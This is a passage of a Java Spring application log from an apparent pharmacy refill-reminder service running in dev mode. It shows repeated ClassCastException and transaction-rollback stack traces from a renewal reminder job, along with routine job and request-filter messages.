org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:43:53 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 19:43:53 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 19:43:53 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 19:43:53 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:43:53 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 19:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 19:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 19:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 19:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at 